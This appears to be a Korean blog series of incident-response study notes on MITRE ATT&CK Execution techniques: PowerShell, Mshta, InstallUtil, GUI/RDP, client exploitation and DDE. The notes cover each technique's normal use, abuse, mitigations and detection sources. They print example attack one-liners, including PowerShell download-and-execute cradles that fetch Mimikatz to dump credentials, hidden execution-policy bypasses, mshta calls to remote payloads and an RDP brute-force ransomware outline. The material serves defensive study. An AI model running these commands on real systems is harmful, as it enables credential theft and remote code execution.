[Incident Response] T1086 PowerShell

 

ATT&CK Execution


(1) Execution이란?

  • 공격자는 내부 네트워크에서 악의적인 코드를 실행하고자 노력

  • 로컬이나 원격 시스템에서 악의적인 코드를 실행하는 기술로 구성

  • 절차(Procedure)를 진행하기 위해 다른 모든 전술(Tactis)의 기술(Techniques)과 짝을 이루어 활용

  • 예시

    • LNK 파일 내에 포함된 Powershell 명령 행 실행

    • 스피어피싱(Spearphishing) 메일 내에 .hta 확장자인 파일을 포함하여 실행하도록 유도

[그림 1] Execution


(2) Powershell이란?

  • PowerShell은 Windows 운영체제에 포함된 강력한 대화식 명령줄 인터페이스 및 스크립팅 환경

  • 공격자는 PowerShell을 사용하여 정보 검색 및 코드 실행을 비롯한 여러 작업 수행 가능

  • 예로, 실행 파일을 실행하는 데 사용할 수 있는 Start-Process cmdlet과 로컬 또는 원격 컴퓨터에서 명령을 실행하는 Invoke-Command cmdlet이 있음

  • PowerShell은 디스크에서 디스크를 건드리지 않고, 디스크 또는 메모리에서 실행할 수 있는 인터넷에서 실행 파일을 다운로드하여 실행하는 데 사용될 수 있음

  • PowerShell을 사용하여 원격 시스템에 연결하려면 관리자 권한이 필요하며, Empire나 Powersploit 및 PSAttack를 포함하여 여러 PowerShell 기반 공격 테스트 도구 사용 가능

  • PowerShell 명령 스크립트는 .NET Framework 및 Windows Command-Line Interface(CLI)를 통해 노출되는 PowerShell의 기본 System.Management.Automation 어셈블리에 대한 인터페이스를 통해 powershell.exe 바이너리를 직접 호출하지 않고도 실행 가능

  • 완화 방법으로는 코드 서명과 비활성화(기능 제거), 권한 계정 관리가 있음

  • 코드 서명은 서명 된 스크립트만 실행하도록 PowerShell 실행 정책을 설정하는 것

  • 비활성화(기능 제거)는 원격 실행에 PowerShell을 사용하지 못하도록 WinRM 서비스 비활성화(제한)

  • 권한 계정 관리는 PowerShell이 필요한 경우, PowerShell 실행 정책을 관리자로 제한하는 것 


(3) PowerShell 내용 정리

3-1. 정상 용도

  • Windows 운영체제에 포함된 가장 강력한 대화식 사용자 인터페이스

3-2. 악의적 사용

  • 공격자는 정상 명령 행을 악용 (정보 검색, 코드 실행 등 수행)

  • 파일 실행 - Start Process cmdlet

  • 로컬 / 원격 컴퓨터에 명령 실행 : Invoke-Command cmdlet

  • 인터넷에서 in-memory 다운로드 및 실행 가능 (Fileless Attack, Fileless Malware)

  • PowerShell 이용하여 원격 시스템 연결 가능 (Enable-PSRemoting -Force)

  • 여러 가지 공격 프레임워크 존재 (Empire, PowerSploit, PSAttack, Etc) 

3-3. 매개변수

  • .ps1 - PowerShell Script File

3-4. 예제

  • powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://malware.mal/Mimikatz.ps1'); Invoke-Mimikatz - DumpCreds"

  • IEX (New-Object Net.WebClient).DownloadString('#{bloodurl}') Invoke-BloodHound

  • New-LocalUser -FullName '#{full_name}' -Name '#{user_name}' -Password #{password} -Description '#{description}'

  • powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX

  • powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"

  • "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$xml.command.a.execute | IEX"

[그림 2] PowerShell 기법 예시

 

[그림 3] PowerShell Empire

 

[그림 4] PowerSploit


(4) PowerShell 기법 실습

 

[그림 5] PowerShell 기법 실습

 

  • 이번 기법은 예제가 매우 많으므로, 간단하게 실습

  • 해당 실습은 PowerShell을 이용하여 ADS 영역(숨겨진 영역)에 코드를 숨겨놓는 기법


(5) PowerShell 추가 내용

  • ID : T1086

  • 전술 : Execution

  • 플랫폼 : Windows

  • 필요 권한 : User, Administrator

  • 데이터 소스

    • PowerShell 로그

    • 로드된 DLL

    • DLL 모니터링

    • Windows 레지스트리

    • 파일 모니터링

    • 프로세스 모니터링

    • 프로세스 명령 줄 매개변수

  • 원격 지원 가능


# Reference

 

https://attack.mitre.org/techniques/T1086/

 

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1086/T1086.md

 

https://www.powershellempire.com/?page_id=106

 

https://github.com/PowerShellMafia/PowerSploit

[Incident Response] T1170 Mshta

 

ATT&CK Execution


(1) Execution이란?

  • 공격자는 내부 네트워크에서 악의적인 코드를 실행하고자 노력

  • 로컬이나 원격 시스템에서 악의적인 코드를 실행하는 기술로 구성

  • 절차(Procedure)를 진행하기 위해 다른 모든 전술(Tactis)의 기술(Techniques)과 짝을 이루어 활용

  • 예시

    • LNK 파일 내에 포함된 Powershell 명령 행 실행

    • 스피어피싱(Spearphishing) 메일 내에 .hta 확장자인 파일을 포함하여 실행하도록 유도

[그림 1] Execution


(2) Mshta란?

  • Mshta.exe는 Microsoft HTML 응용 프로그램(HTA)을 실행하는 유틸리티

  • HTA는 Internet Explorer와 동일한 모델 및 기술을 사용하지만 브라우저 외부에서 실행하는 독립 실행형 응용 프로그램

  • 공격자는 mshta.exe를 사용하여 신뢰할 수 있는 Windows 유틸리티를 통해 악성 .hta 파일 및 Javascript 또는 VBScript 실행을 프록시 가능

  • mshta.exe를 활용하는 다양한 위협으로 파일이 인라인 스크립트를 통해 mshta.exe에 의해 실행될 수 있으며 URL에서도 직접 실행이 가능

  • 또한 잠재적 사용을 설명하지 않는 이상 응용 프로그램 허용 목록 솔루션을 무시하는 데 사용 가능

  • mshta.exe는 Internet Explorer의 보안 외부에서 실행되므로 브라우저 보안 설정도 무시

  • 완화 방법으로는 비활성화/기능 제거, 실행 방지가 있음

  • 비활성화/기능 제거는 mshta.exe는 기능 수명이 다한 구 버전 Internet Explorer와 연결 되어 있으므로 지정된 환경 내에서 필요하지 않을 수 있음

  • 실행 방지는 mshta.exe의 실행을 차단하도록 구성된 응용 프로그램 화이트리스트를 사용하여 특정 시스템이나 네트워크에 필요하지 않은 경우 적의 오용을 방지


(3) Mshta 내용 정리

3-1. 정상 용도

  • Microsoft HTML Application(HTA) 파일을 실행하는 유틸리티

  • HTA 파일은 Internet Explorer 브라우저와 동일한 모델 / 기술 사용

  • 하지만, 브라우저 외부에서 독립적으로 실행 가능

3-2. 악의적 사용

  • 악성 HTA 파일을 제작하여 사용자에게 Spearphishing 가능

  • mshta.exe 유틸리티를 이용하여 VBScript 또는 Javascript 실행을 프록시 가능

  • Internet Explorer 브라우저의 보안 컨텍스트 외부에서 실행 (브라우저 보안 설정 무시)

3-3. 매개변수

  • .hta - Microsoft HTML Application File

3-4. 예제

  • mshta.exe T1170.hta

  • mshta http[:]//webserver/payload[.]hta

  • mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

  • mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();

  • mshta.exe vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")

  • mshta.exe javascript:alert('test');

  • mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run(""#{local_file_path}"")(window.close)")

  • mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit- file $PathToAtomicsFolder\T1170\src\powershell.ps1"":close")

[그림 2] Internet Explorer 인터넷 옵션 사용 > 취약

 

[그림 3] Mshta 기법 예시 (1)

 

[그림 4] Mshta 기법 예시 (2)

 

[그림 5] Mshta 기법 예시 (3)


(4) Mshta 기법 실습

4-1. Sublime Text3 > Javascript 코드 작성

 

[그림 6] Javascript 코드 작성

 

  • Sublime Text3 실행

  • [그림 6]과 같이 Javascript 코드 작성

 

4-2-1. CMD(명령 프롬프트) > 코드 실행

 

[그림 7] HTA 파일 실행

 

  • CMD(명령 프롬프트) 실행

  • 작성한 HTA 코드 실행

  • 계산기 실행

  • 코드에 악성코드나 랜섬웨어 등을 심어놓을 수 있는 위험한 악성행위가 될 수 있음

 

4-2-2. 메시지 박스 실행 방법

 

[그림 8] 메시지 박스 실행

 

  • [그림 8]과 같은 명령으로 메시지 박스를 실행시키는 방법도 존재 


(5) Mshta 추가 내용

  • ID : T1170

  • 전술 : Defense Evasion, Execution

  • 플랫폼 : Windows

  • 필요 권한 : User

  • 데이터 소스

    • 프로세스 모니터링

    • 프로세스 명령 행 매개변수

  • 방어 우회

    • 응용 프로그램 허용 목록

    • 디지털 인증서 유효성 검사


# Reference

 

https://attack.mitre.org/techniques/T1170/

 

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1170/T1170.md

[Incident Response] T1118 InstallUtil

 

ATT&CK Execution


(1) Execution이란?

  • 공격자는 내부 네트워크에서 악의적인 코드를 실행하고자 노력

  • 로컬이나 원격 시스템에서 악의적인 코드를 실행하는 기술로 구성

  • 절차(Procedure)를 진행하기 위해 다른 모든 전술(Tactis)의 기술(Techniques)과 짝을 이루어 활용

  • 예시

    • LNK 파일 내에 포함된 Powershell 명령행 실행

    • 스피어피싱(Spearphishing) 메일 내에 .hta 확장자인 파일을 포함하여 실행하도록 유도

[그림 1] Execution


(2) InstallUtil이란?

  • InstallUtil은 .NET 바이너리에 지정된 특정 설치 관리자 구성 요소를 실행하여 리소스를 설치 및 제거할 수 있는 명령줄 유틸리티

  • Windows 시스템에서 .NET 디렉토리에 존재하며, InstallUtil.exe는 Microsoft에 의해 디지털 서명됨

  • 공격자는 InstallUtil을 사용하여 신뢰할 수 있는 Windows 유틸리티를 통해 코드 실행을 프록시 가능

  • InstallUtil을 사용하여 속성으로 장식된 클래스를 실행하는 이진 내의 속성을 사용하여 프로세스 화이트리스트 무시 가능

  • 완화 방법으로는 비활성화(기능, 제거), 실행 방지가 있음

  • 비활성화는 주어진 환경에서 InstallUtil이 필요하지 않을 수도 있으며, 실행 방지는 특정 시스템이나 네트워크에 악의적 사용자 오용 방지를 위해 InstallUtil.exe의 실행이 차단되도록 구성된 응용 프로그램 허용 목록을 사용


(3) InstallUtil 내용 정리

3-1. 정상 용도

  • .NET 실행 파일 중의 하나로 설치 관리자 (리소스 설치 / 제거 기능)

3-2. 악의적 사용

  • 적법한 MS 인증서의 서명, AppLocker 등의 방어 기법 우회 가능

  • Whitelist Bypass 용도로 사용 가능 (신뢰할 수 있는 .exe를 통해 실행)

  • Code Execution Proxy

3-3. 매개변수

  • .exe - Executable File

3-4. 예제

  • C:\Windows\Microsoft.NET\Framework64\v(.*)\InstallUtil.exe /U T1191.exe

  • C:\Windows\Microsoft.NET\Framework\v(.*)\InstallUtil.exe /U T1191.exe

[그림 2] InstallUtil 기법 예시 (1)

 

[그림 3] IntallUtil 기법 예시 (2)

 

[그림 4] InstallUtil 기법 예시 (3)

 

[그림 5] InstallUtil 기법 예시 (4)


(4) 기법 실습

4-1. Sublime Text3 > C# 코드 작성

 

[그림 6] C# 코드 작성

 

4-2. CMD(관리자 명령 프롬프트) > C# 코드 컴파일

 

[그림 7] C# 코드 컴파일

 

  • CMD(관리자 명령 프롬프트) 실행

  • .NET Framework 폴더에 C# 코드 넣기

  • csc.exe를 통해 C# 코드 컴파일

  • 계산기 실행

 

4-3. EXE 파일 생성

 

[그림 8] EXE 파일 생성

 

  • C# 코드를 컴파일하여 EXE 파일 생성

  • 공격자가 공격 기법으로 활용 가능

 

4-4. InstallUtil Log 파일

 

[그림 9] Log 파일

 

  • 해당 기법을 통해 남는 Log 파일은 아티팩트로 활용 가능


(5) InstallUtil 추가 내용

  • ID : T1118

  • 전술 : Defense Evasion, Execution

  • 플랫폼 : Windows

  • 필요 권한 : User

  • 데이터 소스

    • 프로세스 모니터링

    • 프로세스 명령 행 매개변수

  • 방어 우회

    • 프로세스 허용 목록

    • 디지털 인증서 유호성 검사


# Reference

 

https://attack.mitre.org/techniques/T1118/

 

https://attackiq.com/blog/2018/05/21/application-whitelist-bypass/

[Incident Response] T1061 Graphical User Interface

 

ATT&CK Execution


(1) Execution이란?

  • 공격자는 내부 네트워크에서 악의적인 코드를 실행하고자 노력

  • 로컬이나 원격 시스템에서 악의적인 코드를 실행하는 기술로 구성

  • 절차(Procedure)를 진행하기 위해 다른 모든 전술(Tactis)의 기술(Techniques)과 짝을 이루어 활용

  • 예시

    • LNK 파일 내에 포함된 Powershell 명령행 실행

    • 스피어피싱(Spearphishing) 메일 내에 .hta 확장자인 파일을 포함하여 실행하도록 유도

[그림 1] Execution


(2) Graphical User Interface란?

  • GUI는 운영체제와 상호 작용하는 일반적인 방법

  • 공격자는 일반적으로 Command-Line Interface 대신 원격 데스크톱 프로토콜과 같은 원격 대화식 세션을 통해 작업 중에 시스템 GUI를 사용하여 Windows 실행 명령을 통해 정보를 검색하고 파일 실행이 가능

  • 이 기법의 완화 방법으로는 이 유형의 공격 기술은 시스템 기능의 남용을 기반으로 하기 때문에 예방 제어로 쉽게 완화 가능

  • GUI를 통한 실행 탐지는 심각한 오용 탐지로 이어질 수 있음

  • 공격자가 대화형 원격 세션을 통해 시스템에 액세스 할 수 있는 서비스 오용 탐지를 위한 다른 요소도 고려해야 함


(3) Graphical User Interface 내용 정리

3-1. 정상 용도

  • GUI(Graphical User Interface)는 운영체제와 상호 작용하는 일반적인 방법

3-2. 악의적 사용

  • 공격자는 CUI 대신 RDP 같은 GUI 원격 대화형 세션을 악용 가능

  • GUI 원격 대화형 세션을 통한 파일 복사, 실행 가능

  • 이러한 공격은 일반적으로 탐지가 매우 어려움

※ 이번 내용도 기법 실습이 아닌, 예시를 들면서 설명하겠다.

 

[그림 2] RDP를 통한 랜섬웨어 공격

 

  • 인터넷 검색

  • 열린 RDP 포트가 있는 시스템 찾기

  • Brute Force 도구 이용 > 컴퓨터 로그인

  • 랜섬웨어 Copy & Paste > 빠져나가기

예로 들자면, RDP로 로그인하면 대화형 세션을 얻을 수 있어 Tray Icon을 바로 실행 가능

 

 

[그림 3] SHODAN 사이트

 

  • 검색을 통해 확인해보면, 수많은 RDP가 열려 있음

  • 열린 RDP를 대상으로, Brute Force 진행

결론적으로, 패스워드 강화가 매우 중요하다.


(4) Graphical User Interface 추가 내용

  • ID : T1061

  • 전술 : Execution

  • 플랫폼 : Linux, MacOS, Windows

  • 필요 권한 : User, Administrator, SYSTEM

  • 데이터 소스

    • 파일 모니터링

    • 프로세스 모니터링

    • 이진 파일 메타데이터

    • 프로세스 명령 줄 매개변수

  • 원격 지원 가능


# Reference

 

https://attack.mitre.org/techniques/T1061/

 

https://www.carbonite.com/blog/article/2019/08/ransomware-preys-on-smbs-via-rdp-attacks-spam-emails

[Incident Response] T1203 Exploitation for Client Execution

 

ATT&CK Execution


(1) Execution이란?

  • 공격자는 내부 네트워크에서 악의적인 코드를 실행하고자 노력

  • 로컬이나 원격 시스템에서 악의적인 코드를 실행하는 기술로 구성

  • 절차(Procedure)를 진행하기 위해 다른 모든 전술(Tactis)의 기술(Techniques)과 짝을 이루어 활용

  • 예시

    • LNK 파일 내에 포함된 Powershell 명령행 실행

    • 스피어피싱(Spearphishing) 메일 내에 .hta 확장자인 파일을 포함하여 실행하도록 유도

[그림 1] Execution


(2) Exploitation for Client Execution이란?

  • 예상치 못한 동작으로 이어질 수 있는 안전하지 않은 코딩 방식으로 인해 소프트웨어에 취약점이 존재할 수 있음

  • 공격자는 임의 코드 실행을 목적으로 하는 대상 공격을 통해 특정 취약점을 이용 가능

  • 종종 공격적 툴 킷에 대한 가장 유용한 악용은 원격 시스템에서 코드 실행을 얻는 데 사용할 수 있는 악용

  • 사용자는 일반적으로 업무를 수행하는 데 사용했던 응용 프로그램과 관련된 파일을 볼 수 있으므로 유틸리티가 많아 악용 연구 및 개발에 유용한 대상

  • 완화 방법으로는 응용 프로그램 격리 및 샌드박싱, 악용 방지가 있음

  • 격리 및 샌드박싱은 브라우저 샌드박스를 사용하여 악용으로 인한 영향을 완화할 수 있지만 샌드박스 이스케이프가 여전히 존재 가능

  • 또한, 다른 유형의 가상화 및 응용 프로그램 마이크로 세분화도 클라이언트 쪽 악용의 영향을 완화할 수 있으며, 해당 시스템에서 추가적 악용 및 취약점 위험이 여전히 존재 가능

  • 악용 방지로는 WDEG 및 EMET와 같은 익스플로잇 중에 사용되는 동작을 찾는 보안 응용 프로그램을 사용하여 일부 익스플로잇 동작 완화 가능

  • 그리고 제어 흐름 무결성 검사는 소프트웨어 악용 발생을 잠재적으로 식별하고 중지하는 또 다른 방법이며, 이러한 많은 보호 기능은 호환성을 위해 아키텍처 및 대상 응용 프로그램 이진에 의존

Exploitation for Client Execution 기법은 여러 유형이 존재한다.

 

 

2-1. 브라우저 기반 악용

  • 웹 브라우저는 Drive-by Compromise and Spearphishing Link를 통한 공통 대상

  • 엔드 포인트 시스템은 일반적 웹 브라우징 또는 웹 브라우저를 악용하는 데 사용되는 악의적인 제어 사이트로의 스피어 피싱 이메일 링크로 대상이 되는 특정 사용자로부터 손상 가능

2-2. 오피스 응용 

  • Microsoft Office와 같은 일반 사무실 및 생산성 응용 프로그램도 Spearphishing Attachment, Spearphishing Link 및 Spearphishing via Service를 통한 대상으로 함

  • 악성 파일은 첨부 파일로 직접 또는 다운로드 링크를 통해 전송되며, 이를 위해서는 사용자가 익스플로잇을 실행하기 위해 문서나 파일을 열어야 함

2-3. 일반적인 타사 응용 프로그램

  • 대상 네트워크에 일반적으로 표시되거나 소프트웨어의 일부인 다른 응용 프로그램도 악용에 사용 가능

  • Enterprise 환경에서 일반적으로 사용되는 Adobe Reader 및 Flash와 같은 응용 프로그램은 시스템에 대한 액세스 권한을 얻으려는 공격자가 일상적으로 대상으로 삼고 있음

  • 취약점과 소프트웨어의 특성에 따라 일부 브라우저에서 악용되거나 사용자가 파일을 열도록 요구 가능


(3) Exploitation for Client Execution 내용 정리

  • 취약점으로 이어질 수 있는 안전하지 않은 코딩 방식으로 인해 발생 가능

  • 많은 RCE / LPE 취약점 존재 (예시 : CVE-2017-5638, CVE-2019-1663 등등)

  • 분류

    • 브라우저 기반 취약점 (Browser-based Exploitation)

      • Drive by Compromise (CVE-2020-0674)

      • Spearphishing

    • 오피스 어플리케이션 (Office Applications)

      • targeted MS Office (CVE-2017-11882)

      • Spearphishing Attachment / Link / via Service

    • 일반적인 서드파티 애플리케이션 (Common Third-party Applications)

      • Adobe Reader or Flash (CVE-2013-0646, CVE-2018-4878)

      • SSH, FTP Server or Web Server (CVE-2019-12815, CVE-2018-10933)

 

※ 이 기법은 사용자가 실행하는 기법이므로, 사용자 실행에 의한 감염 정도를 나타내기 때문에 기법 실습은 따로 없음


(4) Exploitation for Client Execution 추가 내용

  • ID : T1203

  • 전술 : Execution

  • 플랫폼 : Linux, Windows, MacOS

  • 시스템 요구 사항

    • 실행을 위해 원격으로 악용하려면, 네트워크를 통해 원격으로 액세스 할 수 있는 서비스 또는 Spearphishing 또는 Drive by Compromise와 같은 기타 액세스 벡터 필요

  • 데이터 소스

    • 안티 바이러스

    • 시스템 호출

    • 프로세스 모니터링


# Reference

 

https://attack.mitre.org/techniques/T1203/

[Incident Response] T1173 Dynamic Data Exchange

 

ATT&CK Execution


(1) Execution이란?

  • 공격자는 내부 네트워크에서 악의적인 코드를 실행하고자 노력

  • 로컬이나 원격 시스템에서 악의적인 코드를 실행하는 기술로 구성

  • 절차(Procedure)를 진행하기 위해 다른 모든 전술(Tactis)의 기술(Techniques)과 짝을 이루어 활용

  • 예시

    • LNK 파일 내에 포함된 Powershell 명령행 실행

    • 스피어피싱(Spearphishing) 메일 내에 .hta 확장자인 파일을 포함하여 실행하도록 유도

[그림 1] Execution


(2) Dynamic Data Exchange란?

  • Windows DDE(Dynamic Data Exchange)는 응용 프로그램 간의 일회성 또는 연속 프로세스 간 통신(IPC)을 위한 클라이언트-서버 프로토콜

  • 연결이 설정되면 응용 프로그램은 문자열, 웜 데이터 링크(데이터 항목이 변경될 때 알림), 핫 데이터 링크(데이터 항목에 대한 변경 중복) 및 명령 실행 요청으로 구성된 트랜잭션을 자동으로 교환 가능

  • OLE(Object Linking and Embedding) 또는 문서 간에 데이터를 연결하는 기능은 원래 DDE를 통해 구현

  • COM으로 대체되었지만 DDE는 Windows 10 및 대부분의 Microsoft Office 2016에서 레지스트리 키를 통해 활성화될 수 있음

  • 공격자는 DDE를 사용하여 임의 명령 실행 가능

  • Microsoft Office 문서는 DDE 명령으로 중독될 수 있으며, 직접 또는 포함된 파일을 통해 응용 프로그램(VBA) 매크로에 대한 Visual Basic에서의 사용을 피하고, 피싱 캠페인 또는 호스트 된 웹 컨텐츠를 통해 실행을 전달하는 데 사용

  • DDE는 명령 줄 실행에 직접 액세스 할 수 없는 손상된 시스템에서 작동하는 공격자도 활용 가능

  • 완화 방법으로는 응용 프로그램 격리 및 샌드박싱, 엔드 포인트의 동작 방지, 비활성화(기능 제거), 소프트웨어 구성 이렇게 4가지가 특징

  • 샌드박싱은 제한된 보기가 활성화되어 있는지 확인하며, 동작 방지는 Windows 10에서 ASR(Attack Surface Reduction) 규칙을 사용하면 Office 프로그램에서 DDE 공격 및 자식 프로세스가 생성되는 것을 방지 가능

  • 비활성화는 Microsoft Office 기능 제어 보안과 관련된 레지스트리 키는 자동 DDE / OLE 실행을 비활성화하도록 설정할 수 있으며, 또한 Microsoft는 Word 및 Excel에서 DDE 실행을 완전히 비활성화하기 위해 기본적으로 레지스트리 키를 만들고 활성화함

  • 마지막으로 소프트웨어 구성은 제한된 보기에서 작동하지 않는 Office 프로그램에서 포함된 파일을 사용하지 않도록 설정 


(3) Dynamic Data Exchange 내용 정리

3-1. 정상 용도

  • Dynamic Data Exchange(DDE)는 응용 프로그램 간의 데이터 공유를 위한 방법

  • 예로, MS Word 문서와 Excel 문서 간의 데이터 공유

3-2. 악의적 사용

  • 공격자는 DDE를 악용하여 임의의 명령 수행 가능

  • MS Office 문서에 악성 DDE 명령을 삽입하여 사용자에게 Spearphishing 가능

  • Visual Basic for App(VBA) 매크로를 사용하지 않고도 명령행 실행 가능


(4) 기법 실습

 

4-1. Word 프로그램 실행 > 빠른 문서 요소 > 필드 > Formula

 

[그림 2] Word 프로그램 내용

 

  • Microsoft Word 프로그램 실행

  • 빠른 문서 요소

  • 필드

  • Formula를 선택하고, [확인]을 눌러 실습 진행

 

4-2. 필드 코드 토클 > 숨겨진 단어 확인

 

[그림 3] 필드 코드 토글 (숨겨진 단어)

 

  • 수식의 끝이 잘못되었습니다 > 드래그 (마우스 우클릭)

  • 필드 코드 토글

  • 숨길 단어 입력

  • 숨겨진 단어 확인

 

4-3. 실행

 

[그림 4] 실행

 

  • 파일 저장 > Word 파일 다시 열고, 확인

  • 다른 파일을 참조하는 링크 확인 > 예(Y)

  • 응용 프로그램 실행 > 예(Y)

  • 공격자가 의도한 악성코드가 실행되는 방식


(5) Dynamic Data Exchange 추가 내용

  • ID : T1173

  • 전술 : Execution

  • 플랫폼 : Windows

  • 필요 권한 : User

  • 데이터 소스

    • API 모니터링

    • DLL 모니터링

    • 프로세스 모니터링

    • 윈도우 레지스트리

    • 윈도우 이벤트 로그


# Reference

 

https://attack.mitre.org/techniques/T1173/

+ Recent posts